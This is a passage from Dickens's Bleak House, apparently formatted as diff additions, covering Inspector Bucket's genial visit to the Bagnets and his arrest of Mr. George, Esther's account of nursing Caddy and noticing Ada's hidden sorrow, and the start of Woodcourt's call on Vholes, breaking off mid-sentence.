+mixtur," and George's pipe being now in a glow, Mr. Bagnet considers
+it his duty to proceed to the toast of the evening. He addresses the
+assembled company in the following terms.
+
+"George. Woolwich. Quebec. Malta. This is her birthday. Take a day's
+march. And you won't find such another. Here's towards her!"
+
+The toast having been drunk with enthusiasm, Mrs. Bagnet returns
+thanks in a neat address of corresponding brevity. This model
+composition is limited to the three words "And wishing yours!" which
+the old girl follows up with a nod at everybody in succession and a
+well-regulated swig of the mixture. This she again follows up, on the
+present occasion, by the wholly unexpected exclamation, "Here's a
+man!"
+
+Here IS a man, much to the astonishment of the little company,
+looking in at the parlour-door. He is a sharp-eyed man--a quick keen
+man--and he takes in everybody's look at him, all at once,
+individually and collectively, in a manner that stamps him a
+remarkable man.
+
+"George," says the man, nodding, "how do you find yourself?"
+
+"Why, it's Bucket!" cries Mr. George.
+
+"Yes," says the man, coming in and closing the door. "I was going
+down the street here when I happened to stop and look in at the
+musical instruments in the shop-window--a friend of mine is in want
+of a second-hand wiolinceller of a good tone--and I saw a party
+enjoying themselves, and I thought it was you in the corner; I
+thought I couldn't be mistaken. How goes the world with you, George,
+at the present moment? Pretty smooth? And with you, ma'am? And with
+you, governor? And Lord," says Mr. Bucket, opening his arms, "here's
+children too! You may do anything with me if you only show me
+children. Give us a kiss, my pets. No occasion to inquire who YOUR
+father and mother is. Never saw such a likeness in my life!"
+
+Mr. Bucket, not unwelcome, has sat himself down next to Mr. George
+and taken Quebec and Malta on his knees. "You pretty dears," says Mr.
+Bucket, "give us another kiss; it's the only thing I'm greedy in.
+Lord bless you, how healthy you look! And what may be the ages of
+these two, ma'am? I should put 'em down at the figures of about eight
+and ten."
+
+"You're very near, sir," says Mrs. Bagnet.
+
+"I generally am near," returns Mr. Bucket, "being so fond of
+children. A friend of mine has had nineteen of 'em, ma'am, all by one
+mother, and she's still as fresh and rosy as the morning. Not so much
+so as yourself, but, upon my soul, she comes near you! And what do
+you call these, my darling?" pursues Mr. Bucket, pinching Malta's
+cheeks. "These are peaches, these are. Bless your heart! And what do
+you think about father? Do you think father could recommend a
+second-hand wiolinceller of a good tone for Mr. Bucket's friend, my
+dear? My name's Bucket. Ain't that a funny name?"
+
+These blandishments have entirely won the family heart. Mrs. Bagnet
+forgets the day to the extent of filling a pipe and a glass for Mr.
+Bucket and waiting upon him hospitably. She would be glad to receive
+so pleasant a character under any circumstances, but she tells him
+that as a friend of George's she is particularly glad to see him this
+evening, for George has not been in his usual spirits.
+
+"Not in his usual spirits?" exclaims Mr. Bucket. "Why, I never heard
+of such a thing! What's the matter, George? You don't intend to tell
+me you've been out of spirits. What should you be out of spirits for?
+You haven't got anything on your mind, you know."
+
+"Nothing particular," returns the trooper.
+
+"I should think not," rejoins Mr. Bucket. "What could you have on
+your mind, you know! And have these pets got anything on THEIR minds,
+eh? Not they, but they'll be upon the minds of some of the young
+fellows, some of these days, and make 'em precious low-spirited. I
+ain't much of a prophet, but I can tell you that, ma'am."
+
+Mrs. Bagnet, quite charmed, hopes Mr. Bucket has a family of his own.
+
+"There, ma'am!" says Mr. Bucket. "Would you believe it? No, I
+haven't. My wife and a lodger constitute my family. Mrs. Bucket is as
+fond of children as myself and as wishful to have 'em, but no. So it
+is. Worldly goods are divided unequally, and man must not repine.
+What a very nice backyard, ma'am! Any way out of that yard, now?"
+
+There is no way out of that yard.
+
+"Ain't there really?" says Mr. Bucket. "I should have thought there
+might have been. Well, I don't know as I ever saw a backyard that
+took my fancy more. Would you allow me to look at it? Thank you. No,
+I see there's no way out. But what a very good-proportioned yard it
+is!"
+
+Having cast his sharp eye all about it, Mr. Bucket returns to his
+chair next his friend Mr. George and pats Mr. George affectionately
+on the shoulder.
+
+"How are your spirits now, George?"
+
+"All right now," returns the trooper.
+
+"That's your sort!" says Mr. Bucket. "Why should you ever have been
+otherwise? A man of your fine figure and constitution has no right to
+be out of spirits. That ain't a chest to be out of spirits, is it,
+ma'am? And you haven't got anything on your mind, you know, George;
+what could you have on your mind!"
+
+Somewhat harping on this phrase, considering the extent and variety
+of his conversational powers, Mr. Bucket twice or thrice repeats it
+to the pipe he lights, and with a listening face that is particularly
+his own. But the sun of his sociality soon recovers from this brief
+eclipse and shines again.
+
+"And this is brother, is it, my dears?" says Mr. Bucket, referring to
+Quebec and Malta for information on the subject of young Woolwich.
+"And a nice brother he is--half-brother I mean to say. For he's too
+old to be your boy, ma'am."
+
+"I can certify at all events that he is not anybody else's," returns
+Mrs. Bagnet, laughing.
+
+"Well, you do surprise me! Yet he's like you, there's no denying.
+Lord, he's wonderfully like you! But about what you may call the
+brow, you know, THERE his father comes out!" Mr. Bucket compares the
+faces with one eye shut up, while Mr. Bagnet smokes in stolid
+satisfaction.
+
+This is an opportunity for Mrs. Bagnet to inform him that the boy is
+George's godson.
+
+"George's godson, is he?" rejoins Mr. Bucket with extreme cordiality.
+"I must shake hands over again with George's godson. Godfather and
+godson do credit to one another. And what do you intend to make of
+him, ma'am? Does he show any turn for any musical instrument?"
+
+Mr. Bagnet suddenly interposes, "Plays the fife. Beautiful."
+
+"Would you believe it, governor," says Mr. Bucket, struck by the
+coincidence, "that when I was a boy I played the fife myself? Not in
+a scientific way, as I expect he does, but by ear. Lord bless you!
+'British Grenadiers'--there's a tune to warm an Englishman up! COULD
+you give us 'British Grenadiers,' my fine fellow?"
+
+Nothing could be more acceptable to the little circle than this call
+upon young Woolwich, who immediately fetches his fife and performs
+the stirring melody, during which performance Mr. Bucket, much
+enlivened, beats time and never fails to come in sharp with the
+burden, "British Gra-a-anadeers!" In short, he shows so much musical
+taste that Mr. Bagnet actually takes his pipe from his lips to
+express his conviction that he is a singer. Mr. Bucket receives the
+harmonious impeachment so modestly, confessing how that he did once
+chaunt a little, for the expression of the feelings of his own bosom,
+and with no presumptuous idea of entertaining his friends, that he is
+asked to sing. Not to be behindhand in the sociality of the evening,
+he complies and gives them "Believe Me, if All Those Endearing Young
+Charms." This ballad, he informs Mrs. Bagnet, he considers to have
+been his most powerful ally in moving the heart of Mrs. Bucket when a
+maiden, and inducing her to approach the altar--Mr. Bucket's own
+words are "to come up to the scratch."
+
+This sparkling stranger is such a new and agreeable feature in the
+evening that Mr. George, who testified no great emotions of pleasure
+on his entrance, begins, in spite of himself, to be rather proud of
+him. He is so friendly, is a man of so many resources, and so easy to
+get on with, that it is something to have made him known there. Mr.
+Bagnet becomes, after another pipe, so sensible of the value of his
+acquaintance that he solicits the honour of his company on the old
+girl's next birthday. If anything can more closely cement and
+consolidate the esteem which Mr. Bucket has formed for the family, it
+is the discovery of the nature of the occasion. He drinks to Mrs.
+Bagnet with a warmth approaching to rapture, engages himself for that
+day twelvemonth more than thankfully, makes a memorandum of the day
+in a large black pocket-book with a girdle to it, and breathes a hope
+that Mrs. Bucket and Mrs. Bagnet may before then become, in a manner,
+sisters. As he says himself, what is public life without private
+ties? He is in his humble way a public man, but it is not in that
+sphere that he finds happiness. No, it must be sought within the
+confines of domestic bliss.
+
+It is natural, under these circumstances, that he, in his turn,
+should remember the friend to whom he is indebted for so promising an
+acquaintance. And he does. He keeps very close to him. Whatever the
+subject of the conversation, he keeps a tender eye upon him. He waits
+to walk home with him. He is interested in his very boots and
+observes even them attentively as Mr. George sits smoking
+cross-legged in the chimney-corner.
+
+At length Mr. George rises to depart. At the same moment Mr. Bucket,
+with the secret sympathy of friendship, also rises. He dotes upon the
+children to the last and remembers the commission he has undertaken
+for an absent friend.
+
+"Respecting that second-hand wiolinceller, governor--could you
+recommend me such a thing?"
+
+"Scores," says Mr. Bagnet.
+
+"I am obliged to you," returns Mr. Bucket, squeezing his hand.
+"You're a friend in need. A good tone, mind you! My friend is a
+regular dab at it. Ecod, he saws away at Mozart and Handel and the
+rest of the big-wigs like a thorough workman. And you needn't," says
+Mr. Bucket in a considerate and private voice, "you needn't commit
+yourself to too low a figure, governor. I don't want to pay too large
+a price for my friend, but I want you to have your proper percentage
+and be remunerated for your loss of time. That is but fair. Every man
+must live, and ought to it."
+
+Mr. Bagnet shakes his head at the old girl to the effect that they
+have found a jewel of price.
+
+"Suppose I was to give you a look in, say, at half arter ten
+to-morrow morning. Perhaps you could name the figures of a few
+wiolincellers of a good tone?" says Mr. Bucket.
+
+Nothing easier. Mr. and Mrs. Bagnet both engage to have the requisite
+information ready and even hint to each other at the practicability
+of having a small stock collected there for approval.
+
+"Thank you," says Mr. Bucket, "thank you. Good night, ma'am. Good
+night, governor. Good night, darlings. I am much obliged to you for
+one of the pleasantest evenings I ever spent in my life."
+
+They, on the contrary, are much obliged to him for the pleasure he
+has given them in his company; and so they part with many expressions
+of goodwill on both sides. "Now George, old boy," says Mr. Bucket,
+taking his arm at the shop-door, "come along!" As they go down the
+little street and the Bagnets pause for a minute looking after them,
+Mrs. Bagnet remarks to the worthy Lignum that Mr. Bucket "almost
+clings to George like, and seems to be really fond of him."
+
+The neighbouring streets being narrow and ill-paved, it is a little
+inconvenient to walk there two abreast and arm in arm. Mr. George
+therefore soon proposes to walk singly. But Mr. Bucket, who cannot
+make up his mind to relinquish his friendly hold, replies, "Wait half
+a minute, George. I should wish to speak to you first." Immediately
+afterwards, he twists him into a public-house and into a parlour,
+where he confronts him and claps his own back against the door.
+
+"Now, George," says Mr. Bucket, "duty is duty, and friendship is
+friendship. I never want the two to clash if I can help it. I have
+endeavoured to make things pleasant to-night, and I put it to you
+whether I have done it or not. You must consider yourself in custody,
+George."
+
+"Custody? What for?" returns the trooper, thunderstruck.
+
+"Now, George," says Mr. Bucket, urging a sensible view of the case
+upon him with his fat forefinger, "duty, as you know very well, is
+one thing, and conversation is another. It's my duty to inform you
+that any observations you may make will be liable to be used against
+you. Therefore, George, be careful what you say. You don't happen to
+have heard of a murder?"
+
+"Murder!"
+
+"Now, George," says Mr. Bucket, keeping his forefinger in an
+impressive state of action, "bear in mind what I've said to you. I
+ask you nothing. You've been in low spirits this afternoon. I say,
+you don't happen to have heard of a murder?"
+
+"No. Where has there been a murder?"
+
+"Now, George," says Mr. Bucket, "don't you go and commit yourself.
+I'm a-going to tell you what I want you for. There has been a murder
+in Lincoln's Inn Fields--gentleman of the name of Tulkinghorn. He was
+shot last night. I want you for that."
+
+The trooper sinks upon a seat behind him, and great drops start out
+upon his forehead, and a deadly pallor overspreads his face.
+
+"Bucket! It's not possible that Mr. Tulkinghorn has been killed and
+that you suspect ME?"
+
+"George," returns Mr. Bucket, keeping his forefinger going, "it is
+certainly possible, because it's the case. This deed was done last
+night at ten o'clock. Now, you know where you were last night at ten
+o'clock, and you'll be able to prove it, no doubt."
+
+"Last night! Last night?" repeats the trooper thoughtfully. Then it
+flashes upon him. "Why, great heaven, I was there last night!"
+
+"So I have understood, George," returns Mr. Bucket with great
+deliberation. "So I have understood. Likewise you've been very often
+there. You've been seen hanging about the place, and you've been
+heard more than once in a wrangle with him, and it's possible--I
+don't say it's certainly so, mind you, but it's possible--that he may
+have been heard to call you a threatening, murdering, dangerous
+fellow."
+
+The trooper gasps as if he would admit it all if he could speak.
+
+"Now, George," continues Mr. Bucket, putting his hat upon the table
+with an air of business rather in the upholstery way than otherwise,
+"my wish is, as it has been all the evening, to make things pleasant.
+I tell you plainly there's a reward out, of a hundred guineas,
+offered by Sir Leicester Dedlock, Baronet. You and me have always
+been pleasant together; but I have got a duty to discharge; and if
+that hundred guineas is to be made, it may as well be made by me as
+any other man. On all of which accounts, I should hope it was clear
+to you that I must have you, and that I'm damned if I don't have you.
+Am I to call in any assistance, or is the trick done?"
+
+Mr. George has recovered himself and stands up like a soldier.
+"Come," he says; "I am ready."
+
+"George," continues Mr. Bucket, "wait a bit!" With his upholsterer
+manner, as if the trooper were a window to be fitted up, he takes
+from his pocket a pair of handcuffs. "This is a serious charge,
+George, and such is my duty."
+
+The trooper flushes angrily and hesitates a moment, but holds out his
+two hands, clasped together, and says, "There! Put them on!"
+
+Mr. Bucket adjusts them in a moment. "How do you find them? Are they
+comfortable? If not, say so, for I wish to make things as pleasant as
+is consistent with my duty, and I've got another pair in my pocket."
+This remark he offers like a most respectable tradesman anxious to
+execute an order neatly and to the perfect satisfaction of his
+customer. "They'll do as they are? Very well! Now, you see,
+George"--he takes a cloak from a corner and begins adjusting it about
+the trooper's neck--"I was mindful of your feelings when I come out,
+and brought this on purpose. There! Who's the wiser?"
+
+"Only I," returns the trooper, "but as I know it, do me one more good
+turn and pull my hat over my eyes."
+
+"Really, though! Do you mean it? Ain't it a pity? It looks so."
+
+"I can't look chance men in the face with these things on," Mr.
+George hurriedly replies. "Do, for God's sake, pull my hat forward."
+
+So strongly entreated, Mr. Bucket complies, puts his own hat on, and
+conducts his prize into the streets, the trooper marching on as
+steadily as usual, though with his head less erect, and Mr. Bucket
+steering him with his elbow over the crossings and up the turnings.
+
+
+
+
+CHAPTER L
+
+Esther's Narrative
+
+
+It happened that when I came home from Deal I found a note from Caddy
+Jellyby (as we always continued to call her), informing me that her
+health, which had been for some time very delicate, was worse and
+that she would be more glad than she could tell me if I would go to
+see her. It was a note of a few lines, written from the couch on
+which she lay and enclosed to me in another from her husband, in
+which he seconded her entreaty with much solicitude. Caddy was now
+the mother, and I the godmother, of such a poor little baby--such a
+tiny old-faced mite, with a countenance that seemed to be scarcely
+anything but cap-border, and a little lean, long-fingered hand,
+always clenched under its chin. It would lie in this attitude all
+day, with its bright specks of eyes open, wondering (as I used to
+imagine) how it came to be so small and weak. Whenever it was moved
+it cried, but at all other times it was so patient that the sole
+desire of its life appeared to be to lie quiet and think. It had
+curious little dark veins in its face and curious little dark marks
+under its eyes like faint remembrances of poor Caddy's inky days, and
+altogether, to those who were not used to it, it was quite a piteous
+little sight.
+
+But it was enough for Caddy that SHE was used to it. The projects
+with which she beguiled her illness, for little Esther's education,
+and little Esther's marriage, and even for her own old age as the
+grandmother of little Esther's little Esthers, was so prettily
+expressive of devotion to this pride of her life that I should be
+tempted to recall some of them but for the timely remembrance that I
+am getting on irregularly as it is.
+
+To return to the letter. Caddy had a superstition about me which had
+been strengthening in her mind ever since that night long ago when
+she had lain asleep with her head in my lap. She almost--I think I
+must say quite--believed that I did her good whenever I was near her.
+Now although this was such a fancy of the affectionate girl's that I
+am almost ashamed to mention it, still it might have all the force of
+a fact when she was really ill. Therefore I set off to Caddy, with my
+guardian's consent, post-haste; and she and Prince made so much of me
+that there never was anything like it.
+
+Next day I went again to sit with her, and next day I went again. It
+was a very easy journey, for I had only to rise a little earlier in
+the morning, and keep my accounts, and attend to housekeeping matters
+before leaving home.
+
+But when I had made these three visits, my guardian said to me, on my
+return at night, "Now, little woman, little woman, this will never
+do. Constant dropping will wear away a stone, and constant coaching
+will wear out a Dame Durden. We will go to London for a while and
+take possession of our old lodgings."
+
+"Not for me, dear guardian," said I, "for I never feel tired," which
+was strictly true. I was only too happy to be in such request.
+
+"For me then," returned my guardian, "or for Ada, or for both of us.
+It is somebody's birthday to-morrow, I think."
+
+"Truly I think it is," said I, kissing my darling, who would be
+twenty-one to-morrow.
+
+"Well," observed my guardian, half pleasantly, half seriously,
+"that's a great occasion and will give my fair cousin some necessary
+business to transact in assertion of her independence, and will make
+London a more convenient place for all of us. So to London we will
+go. That being settled, there is another thing--how have you left
+Caddy?"
+
+"Very unwell, guardian. I fear it will be some time before she
+regains her health and strength."
+
+"What do you call some time, now?" asked my guardian thoughtfully.
+
+"Some weeks, I am afraid."
+
+"Ah!" He began to walk about the room with his hands in his pockets,
+showing that he had been thinking as much. "Now, what do you say
+about her doctor? Is he a good doctor, my love?"
+
+I felt obliged to confess that I knew nothing to the contrary but
+that Prince and I had agreed only that evening that we would like his
+opinion to be confirmed by some one.
+
+"Well, you know," returned my guardian quickly, "there's Woodcourt."
+
+I had not meant that, and was rather taken by surprise. For a moment
+all that I had had in my mind in connexion with Mr. Woodcourt seemed
+to come back and confuse me.
+
+"You don't object to him, little woman?"
+
+"Object to him, guardian? Oh no!"
+
+"And you don't think the patient would object to him?"
+
+So far from that, I had no doubt of her being prepared to have a
+great reliance on him and to like him very much. I said that he was
+no stranger to her personally, for she had seen him often in his kind
+attendance on Miss Flite.
+
+"Very good," said my guardian. "He has been here to-day, my dear, and
+I will see him about it to-morrow."
+
+I felt in this short conversation--though I did not know how, for she
+was quiet, and we interchanged no look--that my dear girl well
+remembered how merrily she had clasped me round the waist when no
+other hands than Caddy's had brought me the little parting token.
+This caused me to feel that I ought to tell her, and Caddy too, that
+I was going to be the mistress of Bleak House and that if I avoided
+that disclosure any longer I might become less worthy in my own eyes
+of its master's love. Therefore, when we went upstairs and had waited
+listening until the clock struck twelve in order that only I might be
+the first to wish my darling all good wishes on her birthday and to
+take her to my heart, I set before her, just as I had set before
+myself, the goodness and honour of her cousin John and the happy life
+that was in store for me. If ever my darling were fonder of me at
+one time than another in all our intercourse, she was surely fondest
+of me that night. And I was so rejoiced to know it and so comforted
+by the sense of having done right in casting this last idle
+reservation away that I was ten times happier than I had been before.
+I had scarcely thought it a reservation a few hours ago, but now that
+it was gone I felt as if I understood its nature better.
+
+Next day we went to London. We found our old lodging vacant, and in
+half an hour were quietly established there, as if we had never gone
+away. Mr. Woodcourt dined with us to celebrate my darling's birthday,
+and we were as pleasant as we could be with the great blank among us
+that Richard's absence naturally made on such an occasion. After that
+day I was for some weeks--eight or nine as I remember--very much with
+Caddy, and thus it fell out that I saw less of Ada at this time than
+any other since we had first come together, except the time of my own
+illness. She often came to Caddy's, but our function there was to
+amuse and cheer her, and we did not talk in our usual confidential
+manner. Whenever I went home at night we were together, but Caddy's
+rest was broken by pain, and I often remained to nurse her.
+
+With her husband and her poor little mite of a baby to love and their
+home to strive for, what a good creature Caddy was! So self-denying,
+so uncomplaining, so anxious to get well on their account, so afraid
+of giving trouble, and so thoughtful of the unassisted labours of her
+husband and the comforts of old Mr. Turveydrop; I had never known the
+best of her until now. And it seemed so curious that her pale face
+and helpless figure should be lying there day after day where dancing
+was the business of life, where the kit and the apprentices began
+early every morning in the ball-room, and where the untidy little boy
+waltzed by himself in the kitchen all the afternoon.
+
+At Caddy's request I took the supreme direction of her apartment,
+trimmed it up, and pushed her, couch and all, into a lighter and more
+airy and more cheerful corner than she had yet occupied; then, every
+day, when we were in our neatest array, I used to lay my small small
+namesake in her arms and sit down to chat or work or read to her. It
+was at one of the first of these quiet times that I told Caddy about
+Bleak House.
+
+We had other visitors besides Ada. First of all we had Prince, who in
+his hurried intervals of teaching used to come softly in and sit
+softly down, with a face of loving anxiety for Caddy and the very
+little child. Whatever Caddy's condition really was, she never failed
+to declare to Prince that she was all but well--which I, heaven
+forgive me, never failed to confirm. This would put Prince in such
+good spirits that he would sometimes take the kit from his pocket and
+play a chord or two to astonish the baby, which I never knew it to do
+in the least degree, for my tiny namesake never noticed it at all.
+
+Then there was Mrs. Jellyby. She would come occasionally, with her
+usual distraught manner, and sit calmly looking miles beyond her
+grandchild as if her attention were absorbed by a young Borrioboolan
+on its native shores. As bright-eyed as ever, as serene, and as
+untidy, she would say, "Well, Caddy, child, and how do you do
+to-day?" And then would sit amiably smiling and taking no notice of
+the reply or would sweetly glide off into a calculation of the number
+of letters she had lately received and answered or of the
+coffee-bearing power of Borrioboola-Gha. This she would always do
+with a serene contempt for our limited sphere of action, not to be
+disguised.
+
+Then there was old Mr. Turveydrop, who was from morning to night and
+from night to morning the subject of innumerable precautions. If the
+baby cried, it was nearly stifled lest the noise should make him
+uncomfortable. If the fire wanted stirring in the night, it was
+surreptitiously done lest his rest should be broken. If Caddy
+required any little comfort that the house contained, she first
+carefully discussed whether he was likely to require it too. In
+return for this consideration he would come into the room once a day,
+all but blessing it--showing a condescension, and a patronage, and a
+grace of manner in dispensing the light of his high-shouldered
+presence from which I might have supposed him (if I had not known
+better) to have been the benefactor of Caddy's life.
+
+"My Caroline," he would say, making the nearest approach that he
+could to bending over her. "Tell me that you are better to-day."
+
+"Oh, much better, thank you, Mr. Turveydrop," Caddy would reply.
+
+"Delighted! Enchanted! And our dear Miss Summerson. She is not quite
+prostrated by fatigue?" Here he would crease up his eyelids and kiss
+his fingers to me, though I am happy to say he had ceased to be
+particular in his attentions since I had been so altered.
+
+"Not at all," I would assure him.
+
+"Charming! We must take care of our dear Caroline, Miss Summerson. We
+must spare nothing that will restore her. We must nourish her. My
+dear Caroline"--he would turn to his daughter-in-law with infinite
+generosity and protection--"want for nothing, my love. Frame a wish
+and gratify it, my daughter. Everything this house contains,
+everything my room contains, is at your service, my dear. Do not," he
+would sometimes add in a burst of deportment, "even allow my simple
+requirements to be considered if they should at any time interfere
+with your own, my Caroline. Your necessities are greater than mine."
+
+He had established such a long prescriptive right to this deportment
+(his son's inheritance from his mother) that I several times knew
+both Caddy and her husband to be melted to tears by these
+affectionate self-sacrifices.
+
+"Nay, my dears," he would remonstrate; and when I saw Caddy's thin
+arm about his fat neck as he said it, I would be melted too, though
+not by the same process. "Nay, nay! I have promised never to leave
+ye. Be dutiful and affectionate towards me, and I ask no other
+return. Now, bless ye! I am going to the Park."
+
+He would take the air there presently and get an appetite for his
+hotel dinner. I hope I do old Mr. Turveydrop no wrong, but I never
+saw any better traits in him than these I faithfully record, except
+that he certainly conceived a liking for Peepy and would take the
+child out walking with great pomp, always on those occasions sending
+him home before he went to dinner himself, and occasionally with a
+halfpenny in his pocket. But even this disinterestedness was attended
+with no inconsiderable cost, to my knowledge, for before Peepy was
+sufficiently decorated to walk hand in hand with the professor of
+deportment, he had to be newly dressed, at the expense of Caddy and
+her husband, from top to toe.
+
+Last of our visitors, there was Mr. Jellyby. Really when he used to
+come in of an evening, and ask Caddy in his meek voice how she was,
+and then sit down with his head against the wall, and make no attempt
+to say anything more, I liked him very much. If he found me bustling
+about doing any little thing, he sometimes half took his coat off, as
+if with an intention of helping by a great exertion; but he never got
+any further. His sole occupation was to sit with his head against the
+wall, looking hard at the thoughtful baby; and I could not quite
+divest my mind of a fancy that they understood one another.
+
+I have not counted Mr. Woodcourt among our visitors because he was
+now Caddy's regular attendant. She soon began to improve under his
+care, but he was so gentle, so skilful, so unwearying in the pains he
+took that it is not to be wondered at, I am sure. I saw a good deal
+of Mr. Woodcourt during this time, though not so much as might be
+supposed, for knowing Caddy to be safe in his hands, I often slipped
+home at about the hours when he was expected. We frequently met,
+notwithstanding. I was quite reconciled to myself now, but I still
+felt glad to think that he was sorry for me, and he still WAS sorry
+for me I believed. He helped Mr. Badger in his professional
+engagements, which were numerous, and had as yet no settled projects
+for the future.
+
+It was when Caddy began to recover that I began to notice a change in
+my dear girl. I cannot say how it first presented itself to me,
+because I observed it in many slight particulars which were nothing
+in themselves and only became something when they were pieced
+together. But I made it out, by putting them together, that Ada was
+not so frankly cheerful with me as she used to be. Her tenderness for
+me was as loving and true as ever; I did not for a moment doubt that;
+but there was a quiet sorrow about her which she did not confide to
+me, and in which I traced some hidden regret.
+
+Now, I could not understand this, and I was so anxious for the
+happiness of my own pet that it caused me some uneasiness and set me
+thinking often. At length, feeling sure that Ada suppressed this
+something from me lest it should make me unhappy too, it came into my
+head that she was a little grieved--for me--by what I had told her
+about Bleak House.
+
+How I persuaded myself that this was likely, I don't know. I had no
+idea that there was any selfish reference in my doing so. I was not
+grieved for myself: I was quite contented and quite happy. Still,
+that Ada might be thinking--for me, though I had abandoned all such
+thoughts--of what once was, but was now all changed, seemed so easy
+to believe that I believed it.
+
+What could I do to reassure my darling (I considered then) and show
+her that I had no such feelings? Well! I could only be as brisk and
+busy as possible, and that I had tried to be all along. However, as
+Caddy's illness had certainly interfered, more or less, with my home
+duties--though I had always been there in the morning to make my
+guardian's breakfast, and he had a hundred times laughed and said
+there must be two little women, for his little woman was never
+missing--I resolved to be doubly diligent and gay. So I went about
+the house humming all the tunes I knew, and I sat working and working
+in a desperate manner, and I talked and talked, morning, noon, and
+night.
+
+And still there was the same shade between me and my darling.
+
+"So, Dame Trot," observed my guardian, shutting up his book one night
+when we were all three together, "so Woodcourt has restored Caddy
+Jellyby to the full enjoyment of life again?"
+
+"Yes," I said; "and to be repaid by such gratitude as hers is to be
+made rich, guardian."
+
+"I wish it was," he returned, "with all my heart."
+
+So did I too, for that matter. I said so.
+
+"Aye! We would make him as rich as a Jew if we knew how. Would we
+not, little woman?"
+
+I laughed as I worked and replied that I was not sure about that, for
+it might spoil him, and he might not be so useful, and there might be
+many who could ill spare him. As Miss Flite, and Caddy herself, and
+many others.
+
+"True," said my guardian. "I had forgotten that. But we would agree
+to make him rich enough to live, I suppose? Rich enough to work with
+tolerable peace of mind? Rich enough to have his own happy home and
+his own household gods--and household goddess, too, perhaps?"
+
+That was quite another thing, I said. We must all agree in that.
+
+"To be sure," said my guardian. "All of us. I have a great regard for
+Woodcourt, a high esteem for him; and I have been sounding him
+delicately about his plans. It is difficult to offer aid to an
+independent man with that just kind of pride which he possesses. And
+yet I would be glad to do it if I might or if I knew how. He seems
+half inclined for another voyage. But that appears like casting such
+a man away."
+
+"It might open a new world to him," said I.
+
+"So it might, little woman," my guardian assented. "I doubt if he
+expects much of the old world. Do you know I have fancied that he
+sometimes feels some particular disappointment or misfortune
+encountered in it. You never heard of anything of that sort?"
+
+I shook my head.
+
+"Humph," said my guardian. "I am mistaken, I dare say." As there was
+a little pause here, which I thought, for my dear girl's
+satisfaction, had better be filled up, I hummed an air as I worked
+which was a favourite with my guardian.
+
+"And do you think Mr. Woodcourt will make another voyage?" I asked
+him when I had hummed it quietly all through.
+
+"I don't quite know what to think, my dear, but I should say it was
+likely at present that he will give a long trip to another country."
+
+"I am sure he will take the best wishes of all our hearts with him
+wherever he goes," said I; "and though they are not riches, he will
+never be the poorer for them, guardian, at least."
+
+"Never, little woman," he replied.
+
+I was sitting in my usual place, which was now beside my guardian's
+chair. That had not been my usual place before the letter, but it was
+now. I looked up to Ada, who was sitting opposite, and I saw, as she
+looked at me, that her eyes were filled with tears and that tears
+were falling down her face. I felt that I had only to be placid and
+merry once for all to undeceive my dear and set her loving heart at
+rest. I really was so, and I had nothing to do but to be myself.
+
+So I made my sweet girl lean upon my shoulder--how little thinking
+what was heavy on her mind!--and I said she was not quite well, and
+put my arm about her, and took her upstairs. When we were in our own
+room, and when she might perhaps have told me what I was so
+unprepared to hear, I gave her no encouragement to confide in me; I
+never thought she stood in need of it.
+
+"Oh, my dear good Esther," said Ada, "if I could only make up my mind
+to speak to you and my cousin John when you are together!"
+
+"Why, my love!" I remonstrated. "Ada, why should you not speak to
+us!"
+
+Ada only dropped her head and pressed me closer to her heart.
+
+"You surely don't forget, my beauty," said I, smiling, "what quiet,
+old-fashioned people we are and how I have settled down to be the
+discreetest of dames? You don't forget how happily and peacefully my
+life is all marked out for me, and by whom? I am certain that you
+don't forget by what a noble character, Ada. That can never be."
+
+"No, never, Esther."
+
+"Why then, my dear," said I, "there can be nothing amiss--and why
+should you not speak to us?"
+
+"Nothing amiss, Esther?" returned Ada. "Oh, when I think of all these
+years, and of his fatherly care and kindness, and of the old
+relations among us, and of you, what shall I do, what shall I do!"
+
+I looked at my child in some wonder, but I thought it better not to
+answer otherwise than by cheering her, and so I turned off into many
+little recollections of our life together and prevented her from
+saying more. When she lay down to sleep, and not before, I returned
+to my guardian to say good night, and then I came back to Ada and sat
+near her for a little while.
+
+She was asleep, and I thought as I looked at her that she was a
+little changed. I had thought so more than once lately. I could not
+decide, even looking at her while she was unconscious, how she was
+changed, but something in the familiar beauty of her face looked
+different to me. My guardian's old hopes of her and Richard arose
+sorrowfully in my mind, and I said to myself, "She has been anxious
+about him," and I wondered how that love would end.
+
+When I had come home from Caddy's while she was ill, I had often
+found Ada at work, and she had always put her work away, and I had
+never known what it was. Some of it now lay in a drawer near her,
+which was not quite closed. I did not open the drawer, but I still
+rather wondered what the work could be, for it was evidently nothing
+for herself.
+
+And I noticed as I kissed my dear that she lay with one hand under
+her pillow so that it was hidden.
+
+How much less amiable I must have been than they thought me, how much
+less amiable than I thought myself, to be so preoccupied with my own
+cheerfulness and contentment as to think that it only rested with me
+to put my dear girl right and set her mind at peace!
+
+But I lay down, self-deceived, in that belief. And I awoke in it next
+day to find that there was still the same shade between me and my
+darling.
+
+
+
+
+CHAPTER LI
+
+Enlightened
+
+
+When Mr. Woodcourt arrived in London, he went, that very same day, to
+Mr. Vholes's in Symond's Inn. For he never once, from the moment when
+I entreated him to be a friend to Richard, neglected or forgot his
+promise. He had told me that he accepted the charge as a sacred
+trust, and he was ever true to it in that spirit.
+
+He found Mr. Vholes in his office and informed Mr. Vholes of his
+agreement with Richard that he should call there to learn his
+address.
+
+"Just so, sir," said Mr. Vholes. "Mr. C.'s address is not a hundred
+miles from here, sir, Mr. C.'s address is not a hundred miles from
+here. Would you take a seat, sir?"
+
+Mr. Woodcourt thanked Mr. Vholes, but he had no business with him
+beyond what he had mentioned.
+
+"Just so, sir. I believe, sir," said Mr. Vholes, still quietly
+insisting on the seat by not giving the address, "that you have
+influence with Mr. C. Indeed I am aware that you have."
+
+"I was not aware of it myself," returned Mr. Woodcourt; "but I
+suppose you know best."
+
+"Sir," rejoined Mr. Vholes, self-contained as usual, voice and all,
+"it is a part of my professional duty to know best. It is a part of
+my professional duty to study and to understand a gentleman who
+confides his interests to me. In my professional duty I shall not be
+wanting, sir, if I know it. I may, with the best intentions, be
+wanting in it without knowing it; but not if I know it, sir."
+
+Mr. Woodcourt again mentioned the address.
+
+"Give me leave, sir," said Mr. Vholes. "Bear with me for a moment.
+Sir, Mr. C. is playing for a considerable stake, and cannot play
+without--need I say what?"
+
+"Money, I presume?"
+
+"Sir," said Mr. Vholes, "to be honest with you (honesty being my
+golden rule, whether I gain by it or lose, and I find that I
+generally lose), money is the word. Now, sir, upon the chances of Mr.
+C.'s game I express to you no opinion, NO opinion. It might be highly
+impolitic in Mr. C., after playing so long and so high, to leave off;
+it might be the reverse; I say nothing. No, sir," said Mr. Vholes,
